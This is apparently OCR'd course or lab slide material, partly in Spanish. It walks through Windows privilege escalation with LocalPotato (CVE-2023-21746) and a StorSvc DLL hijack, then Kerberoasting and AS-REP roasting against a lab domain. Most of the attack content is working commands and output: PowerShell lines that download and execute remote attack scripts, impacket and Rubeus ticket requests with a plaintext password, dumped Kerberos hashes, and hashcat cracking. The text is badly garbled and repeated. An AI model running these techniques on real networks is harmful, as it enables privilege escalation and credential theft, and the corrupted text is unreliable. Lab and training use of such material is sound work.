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Day Eight: Are you winning son?



THM : LOCAL POTATO PRIVILEGE ESCALATION

La escalada de privilegios mediante "Localpotato" se basa en la
manipulacién de los servicios DCOM (Distributed Component Object
Model), NTLM (NT LAN Manager), el protocolo SMB (Server Message
Block) y el uso de RPC (Remote Procedure Call) para establecer una
conexidén a un recurso compartido SMB, como \127.0.0.1\C$.
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THM : LOCAL POTATO PRIVILEGE ESCALATION

La escalada de privilegios mediante "Localpotato" se basa en la
manipulacién de los servicios DCOM (Distributed Component Object
Model), NTLM (NT LAN Manager), el protocolo SMB (Server Message
Block) y el uso de RPC (Remote Procedure Call) para establecer una
conexidén a un recurso compartido SMB, como \127.0.0.1\C$.

Un atacante podria utilizar técnicas como la suplantacidén de
identidad en DCOM, el aprovechamiento de debilidades en la
autenticacion NTLM o la manipulacidon de RPC para establecer una
conexién SMB con el recurso compartido \127.0.0.1\C$ vy,
posteriormente, escribir en un archivo con privilegios de
administrador.

El protocolo SMB se utiliza para compartir archivos e impresoras en
una red, y el recurso compartido \127.0.0.1\C$ se refiere al
recurso compartido administrativo predeterminado en Windows, que
proporciona acceso al directorio raiz del sistema.
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conexidén a un recurso compartido SMB, como \127.0.0.1\C$.

Un atacante podria utilizar técnicas como la suplantacidén de
identidad en DCOM, el aprovechamiento de debilidades en la
autenticacion NTLM o la manipulacidon de RPC para establecer una
conexién SMB con el recurso compartido \127.0.0.1\C$ vy,
posteriormente, escribir en un archivo con privilegios de
administrador.

El protocolo SMB se utiliza para compartir archivos e impresoras en
una red, y el recurso compartido \127.0.0.1\C$ se refiere al
recurso compartido administrativo predeterminado en Windows, que
proporciona acceso al directorio raiz del sistema.

https://jlajara.qitlab.io/Potatoes Windows_Privesc
https://github.com/decoder-it/L ocalPotato

https://tryhackme.com/room/localpotato

Local Potato
CVE-2023-21746

Exploitation and P
Analysis :



https://jlajara.gitlab.io/Potatoes_Windows_Privesc
https://github.com/decoder-it/LocalPotato
https://tryhackme.com/room/localpotato

MIDL_PROC_FORMAT
Pad
ormat[ BRO:

,_PROC_FORMAT__

MIDL_EX

rsvc_MIDL_EXER

# Quick acc
[ Desktop
%] Documents
¥ Downloads
& Pictures
I This PC
B 3D Objects
Desktop
Documents
Downloads
Mus
Pictures
Videos

Local Disk (C:)

@ Network

POTATO PRIVILEGE ESCALATION

a View

This PC

[# RpcClient.exe

& RpcClient.pdb

Local Disk (C:)

> tools

LPE via StorSvc

Rp:

ate

veloper Command Prompt for VS 20

Command Prompt

Studio\2022

D _UNICODE
64\Debug\\"

x64\Debug\RpcClient . exe

D UNICODE

Gm-

g\RpcC

lient

.obj



by your payload
STARTUPIN i = { sizeof (STARTUPINFO) };
PROCESS INFORMATION pl'
CreateProcess (L"c:

NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS

CloseHandle (pi.hProcess) ;
CloseHandle (pi.hThread) ;

return;

PRIVILEGE ESCALATION
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:

Recycle Bin tools

Notepad+ +

Developer
Comm..

LocalPotat...

=

RpcClient.cxe

SprintCSP.dll

Command Prompt

C:\Program F

mn /sdl /od EBUG

Community\VC
NSOLE WINDLL /D
d"x64\Debug\vc143. pdi

MSVC\14.34.31933 HOStX64\x64\CL
ODE /D UNICODE /Gm- /EHsc /RTC1 /¥

queve main.c

undefined; assuming extern returning

via StorSvc\SprintCSP\SprintCSP\main.c(111,5): warning C4@13: 'StopDependentServices
ia StorSvc\SprintCSP\SprintCSP\SprintCSP.vexproj]
tCSP\main.c(25,25) rning C4244
via StorSvc\SprintCSP\SprintCSP\SprintCSP.vcxproj]
173,9): warning C4033: 'StopDependentServices' must return a

‘initializing from ‘ULONGLONG' to ‘DWORD‘, possible lo

ye [C:\tools\LPE via Stors

warning C4@33: 'StopDependentServices' must return a value [C:)

vc\SprintCSP\Sprint
C: \tools\LPE via S warning C4244: ‘in
oss of data [C: ia St i i intCSP.vexproj]

C: \tools\LPE via St i 760 warning C4715: 'StopDependentServ.

conversion from ‘ULONGLONG® to

not all control paths
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C:\Users\user\Desktop>move "C:\tools\LPE via StorSvc\RpcClient\x64\Debug\RpcClient.exe"

1 file(s) moved.

C:\Users\user\Desktop>move "C:\tools\LPE via StorSvc\SprintCSP\x64\Debug\SprintCSP.d1ll"
Overwrite C:\Users\user\Desktop\SprintCSP.d11l? (Yes/No/All): Yes

1 file(s) moved.
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C:\Users\user\Desktop>reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -v Path

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
Path REG_EXPAND_SZ

3 %SystemRoot%; %SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\ ;%SYSTEMR
00T%\System32\0OpenSSH\; C: \Program Files\Amazon\cfn-bootstrap\

C:\Users\user\Desktop>LocalPotato.exe -i SprintCSP.dll -o \Windows\System32\SprintCSP.dll

LocalPotato (aka CVE-2023-21746)
by splinter_code & decoder_it

[*] Objref Moniker Display Name =

objref: TUVPVWEAAAAAAAAAAAAAAMAAAAAAAABGAQAAAAAAAAAKIrfTBVWTTryu@ycrVEdmAXwAANASEA3T1a0Mi6U3jSkAEWAHAEWAUAAAAACAMQAWA
C4AMQAWAC4AMQAZzADgALgAOADUAAAAAAAKA/ /8AABAA/ /8AABAA//8AAAOA/ /S8AABYA//8AABSA//8AAA4A//8AAAAA:

[*#] Calling CoGetInstanceFromIStorage with CLSID:{854A20FB-2D44-457D-992F-EF13785D2B51}

[*] Marshalling the IStorage object... IStorageTrigger written: 100 bytes



THM| ’LOCAL POTATO PRIVILEGE ESCALATION

C:\Users\user>C:\Users\user\Desktop\LocalPotato.exe -i SprintCSP.dll -o \Windows\System32\SprintCSP.dll

LocalPotato (aka CVE-2023-21746)
by splinigr_code & decoder_it

[*] Objref Moniker Display Name = objref:TUVPVWEAAAAAAAAAAAAAAMAAAAAAAABGAQAAAAAAAAAThg1bWEKp3OmIED87yu7iASgAALQP7ANnebsS
yuSwUPykAEwAHAEwAUAAAAAcAMQAwAC4AMQAwAC4AMQAyADcALgASADgAAAAAAAkA//8AAB4A//8AABAA//8AAAOA//8AABYA//8AAB 8A//8AAA4A/ /8AAAA

*] Calling CoGetInstanceFromIStorage with CLSID:{854A20FB-2D44-457D-992F-EF13785D2B51}
*] Marshalling the IStorage object... IStorageTrigger written: 100 bytes
*] Received DCOM NTLM type 1 authentication from the privileged client
*] Connected to the SMB server with ip 127.0.0.1 and port 445

+] SMB Client Auth Context swapped with SYSTEM

] RPC Server Auth Context swapped with the Current User

*] Received DCOM NTLM type 3 authentication from the privileged client

] SMB reflected DCOM authentication succeeded!

[+] SMB Connect Tree: \\127.0.0.1\c$ success

[+] SMB Create Request File: Windows\System32\SprintCSP.dll success

[!] Unable to open input file: SprintCSP.dll

C:\Users\user>C:\Users\user\Desktop\RpcClient.exe
[+] D11 hijack triggered!
C:\Users\user>




https://www.tarlogic.com/es/glosario-cibersequridad/kerberoasting/

https://qgist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70

BLEACH.local : KERBEROASTING

Cuando un usuario desea autenticarse ante un servicio, el KDC le
devuelve un ticket TGS el cual contiene datos cifrados con una clave
derivada de la contrasena de la cuenta del servicio. Por lo tanto,
es posible intentar crackear estos tickets para descubrir 1la
contrasena de la cuenta de servicio. Este ataque puede resultar
exitoso cuando el servicio esta configurado con una cuenta de
usuario normal (a diferencia de una cuenta gestionada o de maquina)
ya que la complejidad y rotacién de la contraseia recae
exclusivamente sobre la persona.

Ademas, no es extrano que estas cuentas de servicio presenten
privilegios elevados, por lo que es una técnica que puede dar muy
buenos resultados como posible via de elevacion de privilegios. Sin
embargo, en la actualidad cada vez existe mayor concienciacién y por
lo tanto es mas comin encontrar mitigaciones para eliminar el riesgo
de este posible vector, asi como formas de deteccidén como puede ser
el uso de cuentas senuelo.
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https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70
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BLEACH.local : KERBEROASTING

PS C:\Users\jquerito> setspn.exe -Q */* | Select-String "CN="
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BLEACH.local : KERBEROASTING

PS C:\Users\jquerito> setspn.exe -Q */* | Select-String "CN="

PS C:\Users\jquerito> IEX (New-Object
System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/Po
werSploit/master/Recon/PowerView.psl');

PS C:\Users\jquerito> Get-NetUser -SPN | select serviceprincipalname #Admin

'I'IIA'I"S A .
SER\'IBE ACCOUNT,

https://qist.qithub.com/jivoi/c354eaaf3019352ce32522f916c03d70
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BLEACH.local : KERBEROASTING

PS C:\Users\jquerito> setspn.exe -Q */* | Select-String "CN="

PS C:\Users\jquerito> IEX (New-Object
System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/Po
werSploit/master/Recon/PowerView.psl');

PS C:\Users\jquerito> Get-NetUser -SPN | select serviceprincipalname

S CIHLUIILI'U Uil OFiN CTALSLCIILE.

PS C:\Users\jquerito> setspn.exe -Q */* | Select-String -

CN=PRINCIPAL-BLEAC,0U=Domain Controllers,DC=BLEACH,DC=local
CN=krbtgt,CN=Users,DC=BLEACH,DC=1ocal

CN=SQL Service,CN=Users,DC=BLEACH,DC=1ocal
CN=http_svc,CN=Managed Service Accounts,DC=BLEACH,DC=local
CN=mssql_svc,CN=Managed Service Accounts,DC=BLEACH,DC=local
CN=exchange_svc,CN=Managed Service Accounts,DC=BLEACH,DC=local
CN=mssql_svc,CN=Users,DC=BLEACH,DC=1ocal
CN=http_svc,CN=Users,DC=BLEACH,DC=1ocal

CN=exchange svc,CN=Users,DC=BLEACH,DC=1ocal
CN=DESKTOP-05N3UTI,CN=Computers,DC=BLEACH,DC=local
https://qist.qithub.com/jivoi/c354eaaf3019352ce32522f916c03d70



https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70

BLEACH.local : KERBEROASTING

PS C:\Users\jquerito> setspn.exe -Q */* | Select-String "CN="

PS C:\Users\jquerito> IEX (New-Object
System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/Po
werSploit/master/Recon/PowerView.psl');

PS C:\Users\jquerito> Get-NetUser -SPN | select serviceprincipalname #Admin

PS C: \Users\Jquerlto\Downloads> IEX (New ObJect System Net. webcllent) Downloadstrlng( https //raw. glt}
PS C:\Users\jquerito\Downloads> Get-NetUser -SPN | select serviceprincipalname #Powerview

serviceprincipalname

exchange svc/exserver.change.me
http_svc/httpserver.change.me
kadmin/changepw

mssql svc/mssqglserver.change.me
MSSQLSvc/BLEACH.local:60111

CN=DESKTOP-05N3UTI,CN=Computers,DC=BLEACH,DC=1ocal
https://qgist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70
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BLEACH.local : KERBEROASTING

PS C:\Windows\system32> Invoke-Expression (New-Object Net.Webclient).downloadstring('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerbe
roast.psl’)
PS C:\Windows\system32> Invoke-Kerberoast

TicketByteHexStream :

Has : $krb5tgs$exchange_svc/exserver.change.me:D263ACCFCF979E1852810BB1B2DAEDF5$37782C797782A07FF29B4BC223FD257948000153D4E0B02B07B7 7 6E6A9ACH7144DA7 358164F SBEE8A45EAO05F9224E
C€2CCcB5092F05E8F5C432EDFCO8F614DFBOF5BA4E3B5779918187F2AC5B14A342350B1B83F5ED8499561C52358B88AAE513C8A2F53016B1E99A8FBODF 37 59EDDA5SFD2DIE 2DF6BA1168EAOA2D30B80EF13F50706
A59E9375CCC2A6C2873C28B5F8F80A7DF2E48B7D97BB59E284DE3D2545BB1E286FDF44E9337D682046E458F583D5DCE29444E14B9C53D245E599A822C4C66442411AF62D55B9F8107933801141F699C4E3D24D
4162F50889ACOED2EB43998184DDFED2858908D6E99FBOBIBIC7 080EB210115C4D53B56128288CDCEFFFF3BOD1D8FFA341C3931D9811F8601BC770CDCFC7F18C7DF88F2FED458A0F72A1DA3157BBB5D90604 8E
CEBOE192D466EFE85E2ECD7 6E9BAID4917 37E7 8ECAEAA43A380E3F4FA7578871C62EAD10436ADCS5FE13D0FIFBO7F12AD48C7 3F694408B528BC7E2926CE776109263DECES555EF035321B961C5269D64C26F15A1
847038FDA98531FFEE5453F89608319BAC1C67BB48D64BB4D34D18FOFCF6EC21344A7CE97A90E7EEGCD46B98BD20CF4C8759E41A2868BC049BC673846330DD82710098AA2A64EF05A4B2995429368D059AACET7
A845cDDD3DF3578F52091AE43473DC9A38D801C116B933FA2667C80B7D8CFA35342037A20D9E94E4C298F010E54C4EOBALEA7 SAF928CFFFCD53244BAA897F12A74D651415752C24E8583BF4B4F9ED7 2861C4F0
ED6F1B48CA8342D9E4430D6C1259104CAF323D69D044C64C285886DC2E4ECO51DE502C8EADSE9IEA3A4365DF5980766B5325550257A8C977A5ADI38EFE3685E29E589880C53FEFEA81BACS3AD4356F1F90F24B
8181B55FA1C5464215861EA9AF1BC45676C2BF95D366C3BFA252BABF2926DDD2F7725D8BAA7 88E2F293565C8381158B0D15A33778E58ED6327DD7 3EB155B0840B9C67 30CEBC84FBCO9EEL180520C808591D1223
3A2E9CE6AB445F43B84BD8E2179CFD47D4B8712E1DOE8OD051125AD1A88FACF96FAC3A6ED31E336019EDBBDC523C2B91A81B7 EABCCODIBS58ED271A961EF16199C19CDFADBDCIA29E95268A84894B5E1BD07796
7530B1EFE5S0EEFF5471481BCFD2F7BFF3775078457C1C53D242F3159DEFFF4D6044E9C48C53666C5EE932AF1B1DCCEF15B4D279667 3A007 36CEEF295DB688D53E2AB7 0FC7C9C4764047657D942F 3F4591F9ACB
CDE4539A6D9F41479657220E98A80F11ECEF459A2A6B084D1D02168FB0219721B2FD4EA038298811A265B821DD359570A5C5B11CA463925AA1B2F2B177B1B9BF452BC40F7D2453958558391379429878A792619
975A152C91FA303E09F 8E39BE1F710CADS8DALFA2F5D8003890E6113BBIF32A19A9130E085160BCDE46BCCOB433707474E39712ABB516E1C308BFBA49901E 37BDDABF7ESBES589A0C8517C642C05D65D3CIEICAC
8CD362B200BE6426BB7 049A9B7 7EA7C6B205113D1804B46C8D7D1CFDCB17 1EFE0681BBBABABO1A7 61EC6CEEIF 37 6FAOEDB1OF162912A5298A37CB2EC6122293F481DD7C1218794A829C676154D

SamAccountName : exchange_svc

DistinguishedName : CN=exchange_svc,CN=Users ,DC=BLEACH,DC=1ocal

ServicePrincipalName : exchange_svc/exserver.change.me

TicketByteHexStream :

Hash : $krb5tgs$http_svc/httpserver.change.me: 31F02E3974156270A14F960F1B4127E6$53F68FDA7BDI9F 114 AF 3ACAB1C8BB0029A3292A9877D212712E104F8176010E4E1AF2D9941E00B8F8CA7 OCCFB5CAQ4
854B8FA29F51DA15B893A60AC31636ED4559DB1247833DA6650EEBFDE86CFCDAESD47F7 53AE8AL4F5C1DDD0017E7407175BD31CC24AACEO3A905B0898FE3694E8D69B255B7 6F68C196DC83E1E01A8219F 53784
5DB28EF700AB74A911D46ECB20C166FES57BB02424D7 3A53D627D54403874A3C12E943905094D9E965E 30CCE6DAGD7BOBDC50B38B8E25E734D7 7E7 53BOFDEECA5148569A83CEE110F247D379C91806EBAESACCF
474B44BCEAF127016C62B3Cc4DB2D3ED1688CB7A2C63F28D5BE39239057393D0A96326095F566294379D57B21FE4DEFAESDE 354 50DEA685DE 97 82A2B325718B42B3E55852F 2BFCIE1B7EDEDI3FFF55C5134D101
DB533714F2D30034497C84FF574B8AE97E1223D914F8BDBBEBB3COE225845F7A0366BC47 2BFCE 2DAAA8F19A07 59CA02355B781A416B267AD235342A3964C991A0A77E1C27561A767DA82A8479330CCH6ADCEFAS
7636C60CFCF73C32C4560671E913DE8304A42115D505E4926BAAEB2D46FEF48A15896FB56D0EES52A83B4CDC3DB2CEB7 D84 2F53AF3FC24AB4B5DE4 5504 33AF84C70064FE07677C7 2E5CO0E19C15CD503349€E0493
831D3E45FC56540CC4853EB569AF3CF625AFA531AC8E3B31A91CC426D14D48E2E1425AD48A5F2B9C2123C43CE8041980B4052EB97BEB81A141982CEA70B21FC299EE933D3E3A01EOEB5F66289A851881973C58
155F57C93D95094542CF8CA899974612F8B5C7AOD8BBOCB7ED99228CA7D7695D92CC2C0808E8F8F62440C6486F6B75C69DB74D7279D01959851C8029830199EA9AFFF8CC480ES8CD6ES6F 3DF60BBE2D24 3FFOCF6
1BF6C15CA29B64225498CDBCF97039D251BF58F5BCC5C5527 A6AC208AC01E495CEDDC3297 2A9860EECAB44DIBCFAD930D461A9601421CF3C25BE4E3A863449207E9DFC870D3358ACAA4BF6B85E273FDB157523

NEEENNrATNEA 7o) ArQ21 2NAR2r Inc A1 1INTARrE2) 2 7A8rNE2r12100-A0Are)1or 420 0rnQA 21 rOnr ) 720N A0 INQrArAQTINMIIA-ATnerr ) 7TnrRAAAQOrAnAD Q) 2rAr1N7 I 2A7rn1 0 700A07 IDAONIDNAQAr
iex (new-object
Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invok
e-Kerberoast.ps1i")

Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast



BLEACH.local : KERBEROASTING (IMPACKET)

impacket-GetUserSPNs BLEACH.local/jquerito:Contrasenal234 -dc-ip 10.0.9.4

(kali® kali)-[~]
[i: impacket-GetUserSPNs BLEACH.local/jquerito:Contrasenal234 -dc-ip 10.0.9.4 -request
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

ServicePrincipalName Name MemberOf PasswordLastSet LastLogon De
legation

MSSQLSvc/BLEACH.local: 60111 SQLService 2023-04-09 23:56:32.497976 2023-04-10 00:25:00.392173
mssql_svc/mssqlserver.change.me mssql_svc CN=Senior management,OU=Groups,DC=BLEACH,DC=1ocal <never> <never>
http_svc/httpserver.change.me http_svc CN=IT Helpdesk,OU=Groups,DC=BLEACH,DC=1ocal 2023-04-09 23:54:50.622769 <never>

exchange_svc/exserver.change.me exchange_svc CN=Project management,OU=Groups,DC=BLEACH,DC=local 2023-04-09 23:54:14.061030 2023-04-10 01:37:11.711718

[-] CCache file is not found. Skipping ...

$krb5tgs$23$*SQLService$BLEACH. LOCAL$BLEACH. local/SQLService*$9533eladb9588749e4acf720284535f6$87f336F13850240bbd409730efce024d4f16efa84dbcat6e6238d39249d86¢
72e8b29d760a712c34d1b18d14642b1fd67fa946467cea26ad8c11b994d786252c9db51db5f280bd2df6a237e77f13fc65c9215a2b9cedd7e723ed259¢c5a96d88ef2a7c6134f7a0ee6409549f8bf7
19¢2027a5b9352d601efee32763f1da0a631b3703f6f9752a8790962732fe7f3f7c956d315df8e473f467e2d8a5882bf43f4553bf8431e74c7a8035b5b4c92502fd9f04ebde95aa3b0cf1993b0909
8e68231a690c329fc47ad6b699ce932e17de6605df11644ad69035f2a8e839111877806b89cceb8cf540cf25e17b773d88a354d3b62f3710ba92ac2e25eb554chabe5faf931bcslbbef7e05f20b99
c3ee40ae564129db11d3bd3442ac5842c4d85f1391b27942e0575150eb147750852f786ccceal30b9baf21e92f8b4d0c80842954556fdfce5ab5e4fcelS4fee5f52efed94f15a50fe40ch76aeeda3
647d0dae27faal57d480fe9961e42051b8016db066045839671cc2a2eeb5bdbas7776ce26371ea53f39a869038cc48c39b06a543afb0c27934764ch59aa7fb83224950ecdlabece9f7dfdabsas97eb
b3bb8aef25f0beae15653404642b00acea8balsaebebb02abb5bee50c24f727ef3f800a4f5d16d496dcf072c585aac21ad420b361f699cff846a5f6d9abf70588d4014165¢c15813241154bf9b4953
a7a8ch26fb2ce2a85769679496c74bd05cc642c4925f4dd60c8ffaaalaab8b2bfObb90ff19cda86818490cc2ce5a06958425¢7114cd20ch36eccad3676f82bd9a3b79e8611f023d182475b93¢cad0l
€c991924de288e8c3681c26e3ee34617711baead821dc9bclas33b2e0aab42d0329219b1937d3fa78d854daeldd450dff3a83343eb13d227295a1e49b7¢c0296e37c08631881eb1e58f19a362884ff1
4461a2d5058ab2188b52022f7935519ba32c7a3605cde36977ab083800f54f519352b32175¢cc7743600bdas2ea89b7750a32fa69d878c2b300174f4c8a71b48656523627b61c6924c7a6338398159
clad4aae72c3e77ecf6bf01f6bcl468582a47e4daaectle2acad9f0274047dae8a35f7a854e7cf54685a31cd05f14beba3687eacf75c28f35a733b4320cbcd26533b23a67afbc52f84264c6bc9a78
ccabefdb824be37c2c7316af414dbaf34e461623925c0822b94705740891212367c65f376a8d8519¢79d25422eabe1184e346a12ad23bc027be6167240e446e708e4941276F092fch1f373192c976
bca8d961f3211677b5e44305761fb7acc52ffe@f1b2a719da09208f1dc4c4f7efe5elaabdad26062bcc5a41f0518293fd80356c1d86500da9793d5f79¢c99bff8a27742f943ecleat09ed2ef0d9alb
7015f25b0b93c772



BLEACH.local : KERBEROASTING (RUBEUS)

.\Rubeus.exe kerberoast /ou:0U=<Service_Accounts>,DC=BLEACH,DC=1ocal

——— m g — - = == — = e

PS C:\Users\jquerito\Downloads> .\R.exe kerberoast

[*] Action: Kerberoasting

NOTICE: AES hashes will be returned for AES-enabled accounts.
Use /ticket:X or /tgtdeleg to force RC4 HMAC for these accounts.

[*] Target Domain : BLEACH.local
[*] Searching path 'LDAP://PRINCIPAL-BLEACH.BLEACH.local/DC=BLEACH,DC=1local’ for '(&(samAccountType=805306368) (servicePri

[*] Total kerberoastable users : 4

[*] SamAccountName : exchange svc
r%1
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BLEACH.local : AS-REP Roasting

User logon name (pre-Windows 2000): Cuen tas de SerV|C|O s
DONT_REQ_PREAUTH

[ ] Unlock account I'm hacking twitter

accounts and getting
thousands of dollars

O |

¥
)

Account options:

[ ] Use Kerberos DES encryption types for this account

[] This account supports Kerberos AES 128 bit encryption.
[ ] This account supports Kerberos AES 256 bit encryption.
Do not require Kerberos preauthentication

Account expires

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-re
p-roasting-using-rubeus-and-hashcat

https://github.com/tevora-threat/SharpView

https://www.hackplayers.com/2020/11/asreproast-o-as-rep-roasting.html



https://www.hackplayers.com/2020/11/asreproast-o-as-rep-roasting.html
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat
https://github.com/tevora-threat/SharpView

BLEACH.local : AS-REP Roasting

PS C:\Users\jquerito\Downloads> powershell.exe -exec Bypass -noexit -C "IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerVi
ew/powerview.ps1')"

PS C:\Users\jquerito\Downloads> Get-DomainUser -PreauthNotRequired -verbose



BLEACH.local : AS-REP Roasting

PS C:\Users\jquerito\Downloads> powershell.exe -exec Bypass -noexit -C "IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerVi
ew/powerview.ps1')"

PS C:\Users\jquerito\Downloads> Get-DomainUser -PreauthNotRequired -verbose

kali@kali$ GetNPUsers.py -dc-ip BLEACH.local --usersfile user.list -no-pass

python2 GetNPUsers.py <Domain> -usersfile <UserList> -dc-ip <IP> -format <John|Hashcat> | grep "$krb5asrep$"



BLEACH.local : AS-REP Roasting

PS C:\Users\jquerito\Downloads> powershell.exe -exec Bypass -noexit -C "IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerVi
ew/powerview.ps1')"

PS C:\Users\jquerito\Downloads> Get-DomainUser -PreauthNotRequired -verbose

kali@kali$ GetNPUsers.py -dc-ip BLEACH.local --usersfile user.list -no-pass

# ASREP check on a list of domain user (Does not require domain credentials)
python2 GetNPUsers.py <Domain> -usersfile <UserList> -dc-ip <IP> -format <John|Hashcat> | grep "$krb5asrep$"

# Download rubeus from:
https://github.com/r3motecontrol/Ghostpack-CompiledBinaries

# Extract from all domain accounts
PS C:\Users\jquerito\Downloads> .\Rubeus.exe asreproast
PS C:\Users\jquerito\Downloads> .\Rubeus.exe asreproast /format:hashcat /outfile:C:Hashes.txt


https://github.com/r3motecontrol/Ghostpack-CompiledBinaries

BLEACH.local : AS-REP Roasting

PS C:\Users\jquerito\Downloads> powershell.exe -exec Bypass -noexit -C "IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerVi
ew/powerview.ps1')"

PS C:\Users\jquerito\Downloads> Get-DomainUser -PreauthNotRequired -verbose

kali@kali$ GetNPUsers.py -dc-ip BLEACH.local --usersfile user.list -no-pass

# ASREP check on a list of domain user (Does not require domain credentials)
python2 GetNPUsers.py <Domain> -usersfile <UserList> -dc-ip <IP> -format <John|Hashcat> | grep "$krb5asrep$"

# Download rubeus from:

https://github.com/r3motecontrol/Ghostpack-CompiledBinaries

# Extract from all domain accounts
PS C:\Users\jquerito\Downloads> .\Rubeus.exe asreproast
PS C:\Users\jquerito\Downloads> .\Rubeus.exe asreproast /format:hashcat /outfile:C:Hashes.txt

# Linux
john --wordlist rockyou.txt Hashes.txt --format=krb5tgs
hashcat -m 18200 -a 3 Hashes.txt rockyou


https://github.com/r3motecontrol/Ghostpack-CompiledBinaries

BLEACH.local : AS-REP Roasting

PS C:\Users\jquerito\Downloads> Get-DomainUser -PreauthNotRequired -verbose | select samaccountname

DETALLADO: get-domain

DETALLADO: [Get-DomainSearcher] search base: LDAP://PRINCIPAL-BLEACH.BLEACH.local/DC=BLEACH,DC=local

DETALLADO: [Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate

DETALLADO: [Get-DomainUser] filter string: (&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))

samaccountname
bryna.jackelyn
antonina.calypso
felicity.phil
chiquita.minette
carree.rochelle
anya.deloria
johanna.flory
christabella.erminia



BLEACH.local : AS-REP Roasting

PS C:\Users\jquerito\Downloads> IEX (New-Object System.Net. webcllent) Downloadstrlng( https://raw.githubusercontent.com/PowerShellMafia/Po
PS C:\Users\jquerito\Downloads> Get-DomainUser -PreauthNotRequire er

DETALLADO: get-domain

DETALLADO: [Get-DomainSearcher] search base: LDAP://PRINCIPAL-BLEACH.BLEACH.local/DC=BLEACH,DC=local

DETALLADO: [Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate

DETALLADO: [Get-DomainUser] filter string: (&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))

rSploit/master/Recon/Po

logoncount S

badpasswordtime 1 91/01/1601 1:00:00

distinguishedname ¢ CN=Bryna Jackelyn,CN=Users,DC=BLEACH,DC=1local
objectclass : {top, person, organizationalPerson, user}
lastlogontimestamp 1 03/04/2023 5:51:41

userprincipalname : Bryna.Jackelyn@BLEACH.local

name : Bryna Jackelyn

objectsid : $-1-5-21-3777977817-1859332824-490154379-1124
samaccountname : bryna.jackelyn

codepage H)

samaccounttype ¢ USER_OBIJECT

accountexpires : NEVER

cn : Bryna Jackelyn

whenchanged 1 03/04/2023 3:51:41

inetancatvne L |



BLEACH.local : AS-REP Roasting

PS C:\Users\jquerito\Downloads> IEX (New-Object System Net webcllent) Downloadstrlng( https://raw.githubusercontent.com/PowerShellMafia/

PS C:\Users\jquerito\Downloads> Get-DomainUser -PreauthNotRequire

DETALLADO: get-domain

DETALLADO: [Get-DomainSearcher] search base: LDAP://PRINCIPAL-BLEACH.BLEACH.local/DC=BLEACH,DC=local

DETALLADO: [Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate

DETALLADO: [Get-DomainUser] filter string: (&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))

( a . {(all )'_ ["]
[:; impacket-GetNPUsers BLEACH.local/ -dc-ip 10.0.9.4 -usersfile users.list
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Kerberos SessionError: KDC_ERR_KEY_EXPIRED(Password has expired; change
Kerberos SessionError: KDC_ERR_KEY_EXPIRED(Password has expired; change
Kerberos SessionError: KDC_ERR_KEY_EXPIRED(Password has expired; change
Kerberos SessionError: KDC_ERR_KEY_EXPIRED(Password has expired; change
Kerberos SessionError: KDC_ERR_KEY_EXPIRED(Password has expired; change
Kerberos SessionError: KDC_ERR_KEY_EXPIRED(Password has expired; change
Kerberos SessionError: KDC_ERR_KEY_EXPIRED(Password has expired; change
Kerberos SessionError: KDC_ERR_KEY_EXPIRED(Password has expired; change

A M e B pen Ol 8 o M oams B ey |
I
—_— e e e e e

PowerSploit/master/Recon/PowerView.ps1');

-NO-pPass

password
password
password
password
password
password
password
password

to
to
to
to
to
to
to
to

reset)
reset)
reset)
reset)
reset)
reset)
reset)
reset)



BLEACH. local

PS C:\Users\jquerito\Downloads> IEX (New-Object System.Net.webclient).Downloadstring(’ hPS C:\Users\jquerito\Downloads>
PS C:\Users\jquerito\Downloads> Get-DomainUser -Preau
DETALLADO:
DETALLADO:
DETALLADO:

get-domain
[Get-DomainSearcher] search base:

thNotRequired -verbose

LDAP: //PRINCIPAL-BLEACH.BLEACH.local/DC=BL

[Get-DomainUser] Searching for user accounts that do not require kerberos pr

AS-REP Roasting

.\R.exe asreproast

DETALLADO: [Get-DomainUser] filter string: (&(samAccountType=805306368)(userAccountCont

L—(kali@ kali)-[~]
$ impacket-GetNPUsers BLEACH.local/ -dc-ip 10.0
Impacket v0.10.0 - Copyright 2022 SecureAuth Corp(+

Action: AS-REP roasting

*] Target Domain ¢ BLEACH.local

[
KDC_ERR_KEY_EXPIRED(Pa

[-] Kerberos SessionError: _
[_] Kerberos SessionError: KDC ERR KEY EXPIRED(Pa[ 1 2222223:5*(52;: LDAP://F:’Réﬂgrllz/‘\;;?till\;:.BLEACH.local/DC:BLEACH,DC:local for ' (&(s
